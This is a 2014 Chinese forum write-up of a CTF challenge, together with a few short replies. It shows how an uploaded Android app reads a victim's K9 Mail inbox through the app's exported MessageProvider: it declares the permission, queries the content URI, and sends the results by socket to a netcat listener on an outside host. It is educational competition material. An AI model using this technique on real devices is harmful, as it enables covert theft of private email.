首页
社区
课程
招聘
[原创]BCTF窃密木马解题初体验
2014-3-10 17:06 6957

[原创]BCTF窃密木马解题初体验

2014-3-10 17:06
6957
引用至BCTF的题目 http://bctf.cn/problems/16
这题感觉更像是漏洞挖掘然后EXP,觉得题目挺有意思的,因此拿来和大家分享,我是第一次在android下做这种事情技术不到家,希望大家指导,比赛平台再次开放了,大家可以测试看看

顺带问问大家对这类利用有没有啥小技巧,我感觉我是看源码然后运气好碰到的

题目描述:
窃密木马: 300
描述
米特尼克得知追捕他的FBI探员凯瑟琳曾用过k9mail发邮件讨论一个对他的联合抓捕方案,他必须得知这个方案才能逃出生天。从对FBI的渗透获得的情报里,米特尼克了解到凯瑟琳和其他探员经常在一个在线应用市场上下载应用安装。米特尼克找到了市场的上传入口,该如何搞定? 市场上传入口:http://218.2.197.252:5000 已知: 凯瑟琳很信任这个市场;凯瑟琳只会打开每个应用很短时间。
提示
hint1:凯瑟琳使用的手机系统版本并不新,无法兼容新版应用。 hint2:read the k9mail docs hint3:no naive coding, no rooted environment

第一次做这样的移动平台题目,刚开始一直没有思路,只是感觉要写些木马窃取k9mail的数据,懒得动手就随便在网络上搜k9mail的木马,无果后考虑要不先随意上传吧。结果市场上传入口提示必须先通过av检测,想想不科学这是想证明百度杀毒很强吗?(玩笑话)。后来觉得它只是防止我们乱上传一些七七八八的木马影响它测试吧。于是这时候在决定要静下心来写代码。题目和提示很清楚了,就是要窃取凯瑟琳k9mail邮件内容,但是不能root。那所谓的直接查看SQLite就不行了,那还有什么办法查看其它进程的数据?
contentprovider!hint2:read the k9mail docs 应该就是这个意思吧,毕竟是开源的可以查看是否有暴露组件,找到k9mail AndroidManifest.xml  
代码:
<provider
            android:name=".provider.AttachmentProvider"
            android:authorities="com.fsck.k9.attachmentprovider"
            android:multiprocess="true"
            android:grantUriPermissions="true"
            android:readPermission="com.fsck.k9.permission.READ_ATTACHMENT"
            android:exported="true"
            />
        <provider
            android:name=".provider.MessageProvider"
            android:authorities="com.fsck.k9.messageprovider"
            android:multiprocess="true"
            android:grantUriPermissions="true"
            android:readPermission="com.fsck.k9.permission.READ_MESSAGES"
            android:writePermission="com.fsck.k9.permission.DELETE_MESSAGES"
            android:exported="true"
            />

其中有这么一段引人注目,两个组件都是暴露的,根据题目意思.provider.MessageProvider最可疑,但是要申请权限com.fsck.k9.permission.READ_MESSAGES,com.fsck.k9.permission.DELETE_MESSAGES

通过android:authorities="com.fsck.k9.messageprovider"字段
可以得出 uri的前缀为content://com.fsck.k9.messageprovider/……,之前直接用这个uri发现无法解析,没有经验,想必需要分析源码吧。

经过这个配置文件的分析,可以确定我们不用root是可以读取k9mail的信息的,但是要申请对应权限,找到对应的uri以及数据库属性col.

通过android:name=".provider.MessageProvider"字段
可以得出这个Provider有关于分享数据的一些信息,进入该类com.fsck.k9.provider.MessageProvider

一些定义的常量,表的属性吧

public static interface MessageColumns extends BaseColumns {
        /**
         * The number of milliseconds since Jan. 1, 1970, midnight GMT.
         *
         * <P>Type: INTEGER (long)</P>
         */
        String SEND_DATE = "date";

        /**
         * <P>Type: TEXT</P>
         */
        String SENDER = "sender";

        /**
         * <P>Type: TEXT</P>
         */
        String SENDER_ADDRESS = "senderAddress";

        /**
         * <P>Type: TEXT</P>
         */
        String SUBJECT = "subject";

        /**
         * <P>Type: TEXT</P>
         */
        String PREVIEW = "preview";

        /**
         * <P>Type: BOOLEAN</P>
         */
        String UNREAD = "unread";

        /**
         * <P>Type: TEXT</P>
         */
        String ACCOUNT = "account";

        /**
         * <P>Type: INTEGER</P>
         */
        String ACCOUNT_NUMBER = "accountNumber";

        /**
         * <P>Type: BOOLEAN</P>
         */
        String HAS_ATTACHMENTS = "hasAttachments";

        /**
         * <P>Type: BOOLEAN</P>
         */
        String HAS_STAR = "hasStar";

        /**
         * <P>Type: INTEGER</P>
         */
        String ACCOUNT_COLOR = "accountColor";

        String URI = "uri";
        String DELETE_URI = "delUri";

        /**
         * @deprecated the field value is misnamed/misleading - present for compatibility purpose only. To be removed.
         */
        @Deprecated
        String INCREMENT = "id";
    }


/**
     * Retrieve messages from the integrated inbox.
     */
    protected class MessagesQueryHandler implements QueryHandler {

        @Override
        public String getPath() {
            return "inbox_messages/";
        }

        @Override
        public Cursor query(final Uri uri, final String[] projection, final String selection,
                            final String[] selectionArgs, final String sortOrder) throws Exception {
            return getMessages(projection);
        }

因此最终猜测uri为content://com.fsck.k9.messageprovider/inbox_messages/

记得还要申请权限

代码:
<uses-permission android:name="com.fsck.k9.permission.READ_MESSAGES"></uses-permission>
然后里面有很多字段,我不管那么多,全部query出来吧

ContentResolver cr = getContentResolver();
    Uri uri = Uri.parse("content://com.fsck.k9.messageprovider/inbox_messages/");
    Cursor c = cr.query(uri, null, null, null, null);
    if (c.moveToFirst()) {
      for (int i = 0; i < c.getCount(); i++) {
        c.moveToPosition(i);
        String col1 = c.getString(1);
                                String col2 = c.getString(2);
                                ……
        Log.i("TEST",……);

      }

    }else{
      ……
    }

老步骤了利用代码比较简单,但是还没完,我们还得考虑吧数据回传,于是在写了个socket用来吧log到的数据传回到我们本机的监控端口吧,socket就老生常谈了。这时候相当于这才是木马了,对了要提醒,这个反弹IP要用公网地址,不然数据信息传不回来。

最后 nc -l -p xxxx

上传应用后,答题平台会运行大概20秒你的应用,这时候我们监听xxxx口就好了,当然你吧应用做成服务端,nc connect之

这时候传回来的数据就是答题平台上那个手机k9mail的所有邮件信息了,里面就有答案,这算是我第一次做android漏洞挖掘利用,写的不好请大神见谅哈

ps:想请教论坛大大,我之前试了几个uri都是不可解析的,想问大家一般大家怎么找contentprovider对应的uri?就是content://com.fsck.k9.messageprovider/…… 省略号后面的内容,我无奈之下只能看源码了,但没找到,只是看到一个inbox_messages的然后碰运气碰到了,这个还有其他的字段吗?求科普如何做这类的发现

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (5)
雪    币: 238
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
寻找奇点 2014-3-10 18:49
2
0
噗,我已经看完了。。。 不过初赛不是都完了为什么不能发?
不过看了rank榜就4个队做出来啊。楼主你是哪个队的哈哈哈
雪    币: 32408
活跃值: (18770)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2014-3-10 19:28
3
0
告诉楼主一个不好的消息,删晚了,百度、google爬虫都来过,查看他们镜像可以看到原文。
雪    币: 180
活跃值: (173)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
Xbalien 4 2014-3-10 21:43
4
0
对喔,都结束了,我是酱油党,明天据说继续开放,到时候可以试试
雪    币: 11
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
rqqeq 2014-3-10 21:48
5
0
可怜的楼主要出局了……
雪    币: 478
活跃值: (50)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cnxxm 2014-3-11 10:31
6
0
发生了什么!!!
游客
登录 | 注册 方可回帖
返回